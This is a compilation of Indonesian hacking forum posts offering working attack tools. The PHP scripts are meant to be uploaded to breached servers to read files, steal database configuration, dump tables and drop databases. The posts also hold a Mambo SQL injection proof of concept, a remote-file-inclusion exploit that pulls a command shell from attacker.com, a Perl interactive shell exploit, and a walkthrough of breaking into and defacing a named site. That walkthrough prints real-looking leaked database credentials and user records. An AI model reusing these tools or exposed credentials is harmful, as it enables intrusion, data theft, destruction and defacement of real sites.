Setelah cukup lama (maklum newbies) mencari ide bagaimana mengakali server yang mematikan fungsi
cmd()....untuk melihat isi dari folder dan membaca isi file-nya, karena hal ini penting untuk
mendapatkan konfigurasi database dari target (digunakan pada script expolit database via PHP script)
maka saya membuat script sederhana (hanya untuk membaca folder dan isi dari file) dengan PHP
...saking sederhananya mungkin rekan-rekan lainnya sudah tahu (saya aja yang telat nih kayanya)
OK ... langsung saja ... script ini terdiri dari 2 buah file php
1. bukadir.php
2. baca.php
isi script
bukadir.php
<html>
<head>
<title>:..: Membaca Isi Folder by anstellwinkel :..:</title>
</head>
<body bgcolor="#666666">
<?php
if(!$Submit) {
echo "<center>DOCUMENT ROOT : $DOCUMENT_ROOT";
?>
<form name="hackdir" method="post" action="">
<table width="500">
<tr bgcolor="#000000">
<td width="112">Masukkan Path : </td>
<td width="300"><input name="dir" type="text" id="dir" size="50"></td>
</tr>
</table>
<input type="submit" name="Submit" value="Submit">
</form>
halaman muka
<?php
}
else {
echo "<center>
path $dir.";
$path = $dir;
$dir = opendir("$dir");
?>
<textarea cols="40" rows="25">
<?php
while ($baca = readdir($dir))
print("$baca ");
closedir($dir);
?>
</textarea>
Melihat Isi File
<form name="hackdir" method="post" action="baca.php">
<table width="475">
<tr bgcolor="#000000">
<td width="130">Masukkan nama file : </td>
<td width="320">
<input name="path" type="text" id="path" size="50" value="<? echo $path ?>"></td>
</tr>
</table>
<input type="submit" name="Submit" value="Submit">
</form>
halaman muka
<?php
}
?>
</body>
</html>
pada script ini kita memasukkan path dari target berdasarkan document root-nya
contoh :
DOCUMENT ROOT : ../../public_html/
Masukkan Path : /home/target_folder/public_html/
isi script
baca.php
<html>
<head>
<title>:..: Membaca Isi File by anstellwinkel :..:</title>
</head>
<body bgcolor="#666666">
<?php
if($Submit) {
$nama_file = "$path";
$isi_file = file($nama_file);
$jml_baris = sizeof($isi_file);
echo "<center>File $nama_file berisi $jml_baris baris.";
?>
<textarea cols="80" rows="25">
<?php
for ($i=0; $i<$jml_baris; $i++)
{
print "$isi_file[$i]";
}
?>
</textarea></center>
<?php
}
?>
kembali
pada script ini masukkan nama file yang akan dilihat isinya
contoh :
Masukkan nama file : /home/target_folder/public_html/configdb.php
dan sebagai catatan script ini harus diupload keserver target....caranya terserah anda!!!!
fungsi dari script ini untuk mendapatkan file konfigurasi database target
-----------------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud)
~ mercubuana-it@yahoogroups.com ,
-----------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
----------------------------- [ EOF ] ---------------------------
Computer Hacking • (0) Comments • (201) Trackbacks • Permalink
Author: roninmorgue
Date: May, 03th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
------------------------------------------------------------------
Ok...saat ini kita telah berhasil menembus sebuah server, dan memiliki akses level
nobody. Tentu kita bertanya, apa yang harus dilakukan untuk mendeface ataupun melihat
data pada database(mysql) sedangkan tanpa akses root itu adalah mustahil???? :(
Gue juga mengalami hal ini...saat sudah berada dalam server hostingan kesulitan untuk
menelusuri data pada database, maka untuk mengatasi hal tersebut gue membuat script
PHP yang sederhana untuk melakukan tugas pencarian data pada database target.
Syarat apa aja yang harus terpenuhi agar script ini berjalan dengan sukses:
1. Akses langsung keserver (bisa diupload; caranya banyaklah n pake aja exploit yang
ada -> maklum script kiddies) ataupun memanfaatkan bug pada aplikasi webnya
2. mengetahui namadatabase, usernamedatabase, dan password databasenya :D
(wiiiihhh...sama aja boong dong, gimana cara kita dapatkan data2 itu man??)
-->> sabar...sabar jangan ngamuk dulu, inget diserver linux nobody pun bisa melihat
file2 yang memilki tanda -r, dan biasanya aplikasi web, file koneksi kedatabasenya
beratribut -r untuk other. (trus gimana tahu path dari domain target???)
-->> hmmm...bisa dari bug Full Path Disclosure sebelumnya(masih inget artikel2gw sebelumnyakan tentang full path disclosure??? atau dengan cara mencari
group2 domain yang ada pada path2 diserver.
c/: $ /var/www/html/domain_target/
nah, kl dah ketemu uploadlah 3 buah file php dibawah ini ke path domain
trus cari nama file yang nyerempet2 koneksilah, misal koneksi.php
c/: $ vi /var/www/html/domain_target/koneksi.php
<?
/* Database Information - Required!! */
/*—Configure the Variables Below --*/
$dbhost = 'localhost';
$dbusername = 'webadm_anes';
$dbpasswd = '123456';
$database_name = 'webadm_account';
$sitepath = "http://www.asiasunlight.com";
$sitename = "AsiaSunlight";
$adminemail = "anes_hope@yahoo.com";
/* Database Stuff, do not modify below this line */
$connection = mysql_pconnect("$dbhost","$dbusername","$dbpasswd")
or die ("Couldn't connect to server.");
$db = mysql_select_db("$database_name", $connection)
or die("Couldn't select database.");
?>
gotcha… gw bisa liat deh semua konfigurasi databasenya… smile
3. OK… upload 3 file udah, dapet konfigurasi udah...sekarang apa yah??
jalankan browser kita (terserah pake apa ajalah), trus ketik diurl:
http://www.asiasunlight.com/config1.php
maka tampilan utama script ini akan berjalan...masukkan semua data2 itu ke field2
yang sudah disiapkan n trus .... ah coba aja deh sendiri… smile
contoh salah satu hasil yang didapatkan:
7 Multi Electronic anes_hope@yahoo.com multielectron d6328b581e5ed9c8c22fcdddd7fe4139
w1bh9rkw My Company 0 2005-07-29 15:51:3
4. Cobanya di server sendiri aja dulu (home PC dirumah man)
5. TRus gw juga bikin script juga sih yang lebih memudahkan dalam pencarian data didatabasenya
n bisa digunakan untuk langsung merubah data tersebut.... ntar gw posting(tp kayanya udah
deh diforum PHP) gabungin aja deh sendiri yah -->> kl minat sih, ngga juga ngga papa
ini semua hanya untuk pembelajaran aja kok.
ps: nama domain diatas adalah real...dan dah pernah gw coba (server hostingan gw rahasiain)
config1.php
<?php
/****************************************************************/
/* DataBase Hacking: Hacking dengan menggunakan DB untuk situs CMS */
/*=============================================================== */
/* Copyright (c) 2005 by roninmorgue (roninmorgue@yahoo.co.id) */
/* or koyakaguya@yahoo.com */
/* Program ini adalah free software. Anda dapat mendistribusikannya dan */
/* memodifikasinya */
/***************************************************************/
if(!$submit) {
echo "<center>Hacking Database";
echo "<center>by roninmorgue at roninmorgue@yahoo.co.id
";
echo "===== seratus dua puluh satu langkah lebih maju =====";
echo "
<form name="form1" method="post" action="">
<table width="325" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">
<tr bgcolor="#000000">
<td width="150"><font color="#FFFF00" size="2">Masukkan database</font></td>
<td width="4"><font color="#FFFF00" size="2">:</font></td>
<td width="170"><input name="db" type="text" id="db"></td>
</tr>
<tr bgcolor="#000000">
<td width="150"><font color="#FFFF00" size="2">Masukkan username</td>
<td width="4"><font color="#FFFF00" size="2">:</td>
<td width="170"><input name="user" type="text" id="user"></td>
</tr>
<tr bgcolor="#000000">
<td width="150"><font color="#FFFF00" size="2">Masukkan nama server</td>
<td width="4"><font color="#FFFF00" size="2">:</td>
<td width="170"><input name="server" type="text" id="server" value="localhost"></td>
</tr>
<tr bgcolor="#000000">
<td width="150"><font color="#FFFF00" size="2">Masukkan password</td>
<td width="4"><font color="#FFFF00" size="2">:</td>
<td width="170"><input name="password" type="text" id="password"></td>
</tr>
<tr bgcolor="#000000">
<td></td>
<td></td>
<td><input name="submit" type="submit" id="submit" value="Attack"></td>
</tr>
</table>
</form>";
}
else
{
mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show tables from $db");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil))
{
for($jml=0;$jml<$isi;$jml++)
{
$isi2.="$isi1[$jml] ";
}
}
echo "Lihat field Table pada $db";
echo "
<form name="form1" method="post" action="config2.php?proses=1">
<table width="325" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">
<tr bgcolor="#000000">
<td width="150"><font color="#FFFF00" size="2">Masukkan table</td>
<td width="4">:</td>
<td width="170">
<input name="table" type="text" id="table">
<input type="hidden" name="db" value="$db">
<input type="hidden" name="server" value="$server">
<input type="hidden" name="user" value="$user">
<input type="hidden" name="password" value="$password"></td>
</tr>
<tr bgcolor="#000000">
<td></td>
<td></td>
<td><input name="submit" type="submit" id="submit" value="Attack"></td>
</tr>
</table>
</form> ";
echo "Nama-nama table database $db
";
echo "<table width="700" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">";
echo "<tr bgcolor="#000000"><td><font color="#FFFF00" size="2">$isi2</td></tr></table>";
echo "
<a href=config1.php>kembali</a>";
}
?>
config2.php
<?php
/***************************************************************/
/* DataBase Hacking: Hacking dengan menggunakan DB untuk situs CMS */
/* ================================================================ */
/* Copyright (c) 2005 by roninmorgue (roninmorgue@yahoo.co.id) */
/* or koyakaguya@yahoo.com */
/* Program ini adalah free software. Anda dapat mendistribusikannya dan */
/* memodifikasinya */
/************************************************************/
switch($proses)
{
case'1':
{
mysql_connect("$server","$user", "$password");
$parameter=mysql_db_query($db, "show fields from $table");
$isi1=mysql_num_rows($parameter);
while($isi2=mysql_fetch_row($parameter))
{
for($jml=0;$jml<$isi1;$jml++)
{
$isi3.="$isi2[$jml] ";
}
}
echo "field-field table $table
";
echo "<table width="700" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">";
echo "<tr bgcolor="#000000"><td><font color="#FFFF00" size="3">$isi3</td></tr></table>";
$hasil=mysql_db_query($db, "select * from $table");
$isi=mysql_num_rows($parameter);
while($isi1=mysql_fetch_row($hasil))
{
for($jml=0;$jml<$isi;$jml++)
{
$isi2.="$isi1[$jml] "."|";
}
}
echo "
isi table $table
";
echo "<table width="700" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">";
echo "<tr bgcolor="#000000"><td><font color="#FFFF00" size="3">$isi2</td></tr></table>";
$formdrop.="
Hapus Database
<form name="form1" method="post" action="config3.php?kerja=1">
<table width="233" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">
<tr bgcolor="#000000">
<td width="59"><font color="#FFFF00" size="2">Drop query</td>
<td width="4">:</td>
<td width="170"><input name="query" type="text" id="query" value="drop database $db">
<input type="hidden" name="db" value="$db">
<input type="hidden" name="server" value="$server">
<input type="hidden" name="s_user" value="$user">
<input type="hidden" name="s_password" value="$password"></td>
</tr>
<tr bgcolor="#000000">
<td></td>
<td>:</td>
<td><input name="submit" type="submit" id="submit" value="Serang"></td>
</tr>
</table>
</form>
";
echo "<table><tr valign="top">
<td>$formdrop</td>
</tr></table>";
echo "<a href=config1.php>kembali</a>";
}
break;
}
?>
config3.php
<?php
/***************************************************************/
/* DataBase Hacking: Hacking dengan menggunakan DB untuk situs CMS */
/* ============================================================== */
/* Copyright (c) 2005 by roninmorgue (roninmorgue@yahoo.co.id) */
/* or koyakaguya@yahoo.com */
/* Program ini adalah free software. Anda dapat mendistribusikannya dan */
/* memodifikasinya */
/**********************************************************/
mysql_connect("$server","$s_user", "$s_password");
switch($kerja)
{
case'1':
{
$hasildrop=mysql_db_query($db,"$query");
if($hasildrop){
echo "<center>Selamat roninmorgue
Anda telah menghapus database Situs Ini!!!!";
} else {
echo "<center>roninmorgue
Anda Gagal menghapus database Situs ini
Lebih Teliti lagi!!!!!";
}
break;
}
}
?>
--------------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud)
~ mercubuana-it@yahoogroups.com ,
---------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
Posted by roninmorgue on 08/18 at 05:07 PM
Computer Hacking • (0) Comments • (0) Trackbacks • Permalink
Searching Isi Database MySQL via PHP Script
Author: roninmorgue
Date: May, 03th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
--------------------------------------------------------------
Setelah saya menulis artikel pertama, “exploit database via php script\” ... saya menemukan
kesulitan untuk mencari isi database dari situs target yang memiliki struktur database
yang banyak dan komplek.
Dengan struktur database komplek maka penelusuran isi database akan sangat melelahkan dan
membosankan .... ditambah tentu saja pemborosan biaya internet, untuk memudahkan masalah
tersebut maka saya mencoba untuk membuat script yang berfungsi untuk menelusuri seluruh isi
database target hanya dengan memasukkan kata kunci pencarian, maka script akan berjalan
secara otomatis.
jadi saya akan mereview sedikit script pertama “exploit database via php script\”
tambahkan script ini pada file config1.php
echo “<font color="#FFFF00" size="3">Cari data pada basisdata $db</font>”;
echo “
<form name="form1" method="post" action="caridatadb.php">
<table width="325" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">
<tr bgcolor="#000000">
<td width="150"><font color="#FFFF00" size="2">Cari Data</td>
<td width="4">:</td>
<td width="170"><input name="data" type="text" id="data">
<input type="hidden" name="db" value="$db">
<input type="hidden" name="server" value="$server">
<input type="hidden" name="user" value="$user">
<input type="hidden" name="password" value="$password"></td>
</tr>
<tr bgcolor="#000000">
<td></td>
<td></td>
<td><input name="submit" type="submit" id="submit" value="Attack"></td>
</tr>
</table>
</form> “;
OK...fungsi dari script ini untuk input data server, nama database, nama user, password database,
dan kata kunci pencarian data, sepertinya tidak perlu dijelaskan lagi cara mencari konfigurasi
database tersebut.
selanjutnya script kedua berfungsi untuk memproses input tersebut dan akan menelusuri isi
database,dan menampilkan isi database yang kita cari, sekaligus akan terlihat struktur dari
database tersebut....
caridatadb.php
<?php
/****************************************************************/
/* DataBase Hacking: Hacking dengan menggunakan DB untuk situs CMS */
/* =============================================================== */
/* */
/* Modul Pencarian Isi DataBase */
/* Copyright (c) 2006 by anstellwinkel (anstellwinkel@yahoo.com.au) */
/* or koyakaguya@yahoo.com */
/* */
/* Program ini adalah free software. Anda dapat mendistribusikannya dan */
/* memodifikasinya sesuai keinginan anda dengan tetap menyertakan */
/* nama author */
/****************************************************************/
echo "<center>Hacking Database
Modul Pencarian Isi Database
";
echo "<center>by anstellwinkel at anstellwinkel@yahoo.com.au";
mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show tables from $db");
$isi=count($hasil);
while($isi1=mysql_fetch_row($hasil))
{
for($jml=0;$jml<$isi;$jml++)
{
echo "<table width="700" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">";
echo "
<tr bgcolor="#000000"><td><font color="#EB8038" size="3">
<center>Tabel $isi1[$jml]<center>
</td></tr></table>";
$parameter=mysql_db_query($db, "show fields from $isi1[$jml]");
$isi5=count($parameter);
while($isi3=mysql_fetch_row($parameter))
{
for($jml1=0;$jml1<$isi5;$jml1++)
{
echo "<table width="700" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">";
echo "<tr bgcolor="#000000"><td><font color="#FFFF00" size="2">$isi3[$jml1]
</td></tr></table>";
$pencarian=mysql_db_query($db, "select $isi3[$jml1] from $isi1[$jml]
where $isi3[$jml1] like '%$data%'");
$isi8=count($pencarian);
while($hasilcari=mysql_fetch_row($pencarian))
{
for($jml2=0;$jml2<$isi8;$jml2++)
{
$result=$hasilcari[$jml2];
echo "<table width="700" border="1" cellspacing="1" cellpadding="0" bordercolor="#0000FF">";
echo "<tr bgcolor="#000000"><td><font color="#00FF00" size="2">$result
</td></tr></table>"; }}
}
}
}
}
?>
dan sekali lagi sebagai catatan script ini harus diupload keserver target....caranya terserah anda!!!!
semua artikel ini sudah diujicobakan oleh saya sendiri ke server target ( bagi admin yang
kena testing ini jangan marah yah… ngga ngerusak ko!!!! wink peace man )
Sebagai tambahan script ini juga dapat digunakan untuk pencarian data pada situs anda
( modifikasi aja man & girl )
Ok!!!...sepertinya hanya ini aja ... untuk download script lengkapnya saya gabungkan dengan
script saya yang pertama dan kedua ("expolit database via php script & Browsing Folder server tanpa
fungsi cmd()") di
http://www.geocities.com/anstellwinkel/ ... equest.zip
----------------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud)
~ mercubuana-it@yahoogroups.com ,
----------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
-------------------------------- [ EOF ] ------------------------
Computer Hacking • (0) Comments • (202) Trackbacks • Permalink
Author: roninmorgue
Date: May, 29th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This software is OSI Certified Open Source Software.
OSI Certified is a certification mark of the Open Source Initiative.
Mambo is Open Source software, released under the GNU General Public License (GPL).
The Mambo name and asterisk logo are copyrighted by the Mambo Foundation.
For more detailed information on Mambo’s licensing terms see the LICENSE file.
For more information on the Mambo Foundation,
please visit http://www.mambo-foundation.org.
Version : 4.5.3h
tested on 4.5.3h
not tested on other/older or maybe the newer version but it is
possible be the same
-----------------------------------------------------------------
A. SQL Injection
Fungsi mosMenuCheck()tidak melakukan sanitasi pada parameter variabel $task
/includes/mambo.php
function mosMenuCheck( $Itemid, $menu_option, $task, $gid ) {
global $database;
$dblink="index.php?option=$menu_option";
if ($Itemid!="” && $Itemid!=0) {
$database->setQuery( “SELECT access FROM #__menu WHERE id=’$Itemid’” );
} else {
if ($task!="") {
$dblink.="&task;=$task";
}
$database->setQuery( “SELECT access FROM #__menu WHERE link like ‘$dblink%’” );
}
$results = $database->loadObjectList();
$access = 0;
//echo “”; print_r($results); echo “</pre>”;
foreach ($results as $result) {
$access = max( $access, $result->access );
}
return ($access <= $gid);
}
=========================potong=======================
variabel $task yang tidak tersanitasi akan digunakan pada query sepanjang variabel
$Itemid kosong/empty.
Proof of Concept:
~~~~~~~~~~~~~~~
Vulnerable Script: mambo.php pada folder /includes.
SQL injection sample ->
http://www.target.com/index2.php?option ... %20FROM%20
mos_users%20WHERE%20username=’admin’%20AND%20MID(password,1,1)=
‘2’/*&id=24&Itemid=0
berfungsi efektif apabila “magic_quotes_gpc” disable/off.
------------------------------------------------------------------
B. Remote File Inclusion
Proof of Concept:
~~~~~~~~~~~~~~~
Vulnerable Script: usercp_confirm.php pada folder modules/Forums.
---------------usercp_confirm.php--------------------------------
...
include_once($phpbb_root_path . ‘extension.inc’);
...
------------------------------------------------------------------
Variabel $phpbb_root_path tidak disanitasi secara benar.
Saat register_globals=on dan allow_fopenurl=on maka penyerang dapat meng-exploitasi kelemahan
ini dengan php injection script.
Poc/Exploit:
~~~~~~~~~~~
http://www.target.com/[phpnuke_path]/modules.php?name=Forums&file;=
usercp_confirm?phpbb_root_path=http://www.attacker.com/evil_script?
cmd.txt
<?
echo "".passthru(' ls -la ; id ')."";
?>
http://www.target.com/[phpnuke_path]/modules.php?name=Forums&file;=
usercp_confirm?phpbb_root_path=http://www.attacker.com/cmd.txt?
Solution/The Fix:
~~~~~~~~~~~~~~
Non-aktifkan module forum/delete
Sanitasi script pada file usercp_confirm.php untuk mencegah vulnerability ini
Notification:
~~~~~~~~~~~
vendor sudah dihubungi
-----------------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, cloud, newbie)
~ mercubuana-it@yahoogroups.com ,
----------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
------------------------- [ EOF ] -------------------------------
Perl Exploit:
~~~~~~~~~~~
#!/usr/bin/perl
##
# PHP-Nuke-7.8 Remote Code Execution Exploit
# Bug Found & code By roninmorgue
# code reference from K-159 & uid0/zod at ExploiterCode.com
##
# usage:
# perl PHP-Nuke.pl <target> <cmd shell location> <cmd shell variable>
# perl PHP-Nuke.pl http://target.com/ http://attacker.com/cmd.txt cmd
# cmd shell example: <?passthru($_GET[cmd]);?>
# cmd shell variable: ($_GET[cmd]);
##
# Contact: roninmorgue@yahoo.co.id || http://www.forum.mercubuana-it.org
##
use LWP::UserAgent;
$Directory = $ARGV[0];
$DirectoryCommand = $ARGV[1];
$command = $ARGV[2];
if($Directory!~/http:/// || $DirectoryCommand!~/http:/// || !$command){usage()}
head();
while()
{
print “[shell] $”;
while(<STDIN>)
{
$cmdshell=$_;
chomp($cmdshell);
$exploit = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Directory.’/modules.php?name=Forums&file=usercp_confirm?
phpbb_root_path=’.$DirectoryCommand.’?&’.$command.’=’.$cmdshell)
or die “ Could Not connect “;
$res = $exploit->request($req);
$return = $res->content;
$return =~ tr/[ ]/[ê]/;
if (!$cmdshell) {print “ Please Enter a Command “; $return ="”;}
elsif ($return =~/failed to open stream: HTTP request failed!/ ||
$return =~/: Cannot execute a blank command in <b>/)
{print “ Could Not Connect to cmd Host or Invalid Command Variable “;exit}
elsif ($return =~/^<br.>.<b>Fatal.error/) {print “ Invalid Command or No Return “}
if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[ê]/[ ]/;
print “ $finreturn “;
last;
}
else {print “[shell] $”;}}}last;
sub head()
{
print “ ======================================================= “;
print “ *MamboV4.5.3 Remote File Inclusion* “;
print “======================================================== “;
}
sub usage()
{
head();
print “ Usage: perl PHP-Nuke.pl <target> <cmd shell location> <cmd shell variable> “;
print “ <Site> - Full path to PHP-Nuke ex: http://www.site.com/ “;
print “ <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt “;
print “ <cmd variable> - Command variable used in php shell “;
print “====================================================== “;
print “ Bug Found by roninmorgue “;
print “ Contact: roninmorgue@yahoo.co.id || http://www.forum.mercubuana-it.org “;
print “====================================================== “;
exit();
}
Computer Hacking • (0) Comments • (202) Trackbacks • Permalink
Author: roninmorgue
Date: May, 31th 2006
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
------------------------------------------------------------
Saya selama ini selalu posting tentang vulnerabilities pada sebuah software.
Mungkin anda semua bosan. Jadi untuk kali ini saya coba posting bagaimana saya
melakukan hacking terhadap komunitas MalangHackerLink
1
Setelah melakukan tahapan reconnaisance dan scanning, saya ketahui server
MalangHackerLink masih memiliki kelemahan -> Apache/1.x.xx, passthru is enabled/on.
catt : alamat ip server saya rahasiakan.
2
Setelah memperoleh akses untuk mengupload file keserver <ngga perlu diceritain
yah.. wink>,saya ketahui root path dari server tersebut adalah /home/[folder_target]/public_html…
ini ditemukan dari file konfigurasi nameserver -->
================potong===========================
malanghack.net: sincan2 /home/sincan2/public_html
================potong===========================
3
Kemudian saya mengupload file yang sangat penting, script untuk mengupload
file ke root_path target pada folder /upload, supaya semua bisa dilakukan melalui
url (lebih mudah..) -->
upload.php
============================potong======================
<?php
}
else
{
$path=$target_folder;
$simpan="$path".$HTTP_POST_FILES['filenya']['name'];
if($HTTP_POST_FILES['filenya']['size'] <=0)
{
print"File anda gagal di upload...!";
}
else
{
@copy($HTTP_POST_FILES['filenya']['tmp_name'],$simpan);
print"file anda berhasil di upload...!";
}
}
?>
Langkah berikutnya adalah saya mengupload script cmd.php ke root_path dari
MalangHackerLink
cmd.php
<?
echo "".passthru(' ls -la /home/sincan2/public_html ; id ')."";
?>
script ini berfungsi untuk melakukan command shell pada server yang vulnerable walaupun
saya hanya memiliki level akses ‘nobody’ jauh dari harapan untuk mendapatkan level akses ‘root’,
tapi ini sudah cukup untuk kita terus meng-exploitasi-nya wink
total ***
drwxr-x--- 37 sincan2 nobody 2048 Apr 13 2005 .
drwx--x--x 14 sincan2 sincan2 1024 Dec 1 09:22 ..
drwxrwxrwx 14 sincan2 sincan2 360 Apr 1 2005 upload
-rw-r--r-- 1 sincan2 sincan2 360 Apr 2 2005 article.php
-rw-r--r-- 1 sincan2 sincan2 630 Apr 13 2005 article_read.php
-rw-r--r-- 1 sincan2 sincan2 360 Apr 2 2005 connect.php
-rw-r--r-- 1 sincan2 sincan2 626 Apr 13 2005 download_read.php
-rw-r--r-- 1 sincan2 sincan2 626 Apr 13 2005 deface_read.php
-rw-r--r-- 1 sincan2 sincan2 626 Apr 13 2005 index.php
=========================potong====================
4
Gotcha..saya melihat ada file yang menarik..., tepat file connect.php (saya berasumsi
disitulah letak konfigurasi dari database MalangHackerLink. Jadi saya kembali mengupload
script cmd1.php menggunakan file upload.php
cmd1.php
<?
echo "".passthru(' cat /home/sincan2/public_html/connect.php ')."";
?>
dan hmmm...terbukalah konfigurasi dari koneksi databasenya… smile
connect.php
<?
$database="sincan2_hack";
$sqlhost="localhost";
$sqluser="sincan2_abde";
$sqlpass="abdecakep12345";
mysql_connect($sqlhost,$sqluser,$sqlpass) OR DIE("1");
mysql_select_db($database) OR DIE("1");
?>
5
Sampai sini, saya coba untuk meng-exploitasi databasenya...Upload script
config1.php,config2.php hasil pemikiran panjang saya smile
============================potong=====================
}
else
{
mysql_connect($server,"$user", “$password");
$hasil=mysql_db_query($db, “show tables from $db");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil))
{
for($jml=0;$jml<$isi;$jml++)
{
$isi2.="$isi1[$jml] “;
}
}
echo “Lihat field Table pada $db”;
echo “
<form name="form1" method="post" action="config2.php?proses=1">
<table width="325" border="1" cellspacing="1" cellpadding="0">
<tr >
<td width="150">Masukkan table</td>
<td width="4">:</td>
<td width="170">
<input name="table" type="text" id="table">
<input type="hidden" name="db" value="$db">
<input type="hidden" name="server" value="$server">
<input type="hidden" name="user" value="$user">
<input type="hidden" name="password" value="$password"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name="submit" type="submit" id="submit" value="Attack"></td>
</tr>
</table>
</form> “;
echo “Nama-nama table database $db”;
echo “<table width="700" border="1" cellspacing="1" cellpadding="0" >”;
echo “<tr bgcolor="#000000"><td>$isi2</td></tr></table>";
echo “
<a href=config1.php>kembali</a>”;
}
?>
============================potong=====================
config2.php
<?php
switch($proses)
{
case'1':
{
mysql_connect("$server","$user", "$password");
$parameter=mysql_db_query($db, "show fields from $table");
$isi1=mysql_num_rows($parameter);
while($isi2=mysql_fetch_row($parameter))
{
for($jml=0;$jml<$isi1;$jml++)
{
$isi3.="$isi2[$jml] ";
}
}
echo "field-field table $table
";
echo "<table width="700" border="1" cellspacing="1"
cellpadding="0" >";
echo "<tr ><td>$isi3</td></tr></table>";
$hasil=mysql_db_query($db, "select * from $table");
$isi=mysql_num_rows($parameter);
while($isi1=mysql_fetch_row($hasil))
{
for($jml=0;$jml<$isi;$jml++)
{
$isi2.="$isi1[$jml] "."|";
}
}
echo "
isi table $table
";
echo "<table width="700" border="1" cellspacing="1"
cellpadding="0" >";
echo "<tr bgcolor="#000000"><td>$isi2</td></tr></table>";
============================potong=====================
6
smile dapat… good job, ini dia isi dari databasenya...data-datanya :
* Nama-nama table database sincan2_hack -->
admin article crew deface depan download links
** field-field table admin -->
no int(5) PRI auto_increment user varchar(50) pass varchar(100)
md5pass varchar(255) email varchar(255) last varchar(255) nick varchar(50)
email_id varchar(100)
*** isi table admin -->
1 |sincan2 |- |- |sincan2@malanghack.net | |Sincan2 |haldi1304 |
** field-field table crew -->
no int(11) PRI nama varchar(255) email varchar(255) url varchar(255)
*** isi table crew -->
1 |J1nX |abde@j1nx.net |http://j1nx.net/ |
** field-field table depan
no int(5) depan longtext
*** isi table depan
1 |
Welcome to #malanghack
Rendrian Rizaldi Putra Atmono 7 Oktober 2005 jam 11 Malam
(HADI + ERNA)
--------------------------------------------------------
Selamat Tinggal 2005 masa kelam di mana suka dan duka selalu menyelimuti kita
Dan selamat Datang 2006 semoga Tuhan senantiasa bersama kita.
--------------------------------------------------------
Selamat Hari Natal Untuk semuanya yang merayakan.
--------------------------------------------------------
7
Sebelumnya perhatian saya pada tabel 'admin',tapi ternyata loginnya tidak menggunakan
database :( ,jadi saya mengalihkan perhatian pada tabel 'depan', karena menurut saya
ucapan pesan sang Master ada pada tabel ini
8
What Next… ok dengan status drwxrwxrwx pada folder /upload, maka kita bisa menulis
sebuah file
expl.php
<?php
print "
";
print " =======================================
";
print " MalangHackerLink Local Root Exploit
";
print " =======================================
";
print "
";
print "[+] Now attacking ";
print "
";
print "[+] Building page extension..";
$exploit_file = fopen("Explhackerlink.php", "a+");
print "[DONE]
";
print "[+] Update Database ..";
$the_exploit = "<?
include("../connect.php");
mysql_connect($sqlhost, $sqluser, $sqlpass);
$hasil = mysql_db_query($database, "UPDATE depan SET depan =
'Hack By Anstellwinkel' WHERE no = 1");
?>”;
print “[DONE]
“;
print “[+] Sending bugs writable [a+]..
“;
print “[+] Create Explhackerlink.php...”;
if (flock($exploit_file, LOCK_EX)) {
fputs($exploit_file, $the_exploit);
flock($exploit_file, LOCK_UN);
print “[OK] “;
print “ “;
print “[+] Sending bugs..[DONE]!!
“;
print “[*] Exploited Successed!
“;
print “ “;
print “------------------------------------------------------------------
“;
print “ + Information:[anstellwinkel@yahoo.com.au]-[www.forum.mercubuana-it.org] +
“;
print “------------------------------------------------------------------
“;
}else {
print “
“;
print “[!] [FAILED] Permission is not writable!!
“;
print “
“;
print “------------------------------------------------------------------
“;
print “ + Information:[anstellwinkel@yahoo.com.au]-[www.forum.mercubuana-it.org] +
“;
print “------------------------------------------------------------------
“;
}
fclose($exploit_file);
print “<a href=Explhackerlink.php>MalangHackerLink Exploited”;
?>
9
Selesai..., OK sebenarnya kita bisa lebih extrem dengan men-drop databasenya but…
remember about ethical hacker -> not for criminal, not destruction… hanya memberitahu
saja pada sang admin smile
catt : semua script saya itu pernah diposting pada forum ini, atau DL di -->>
http://www.geocities.com/anstellwinkel/ ... equest.zip
------------------------------------------------------------------
Shoutz:
~~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud)
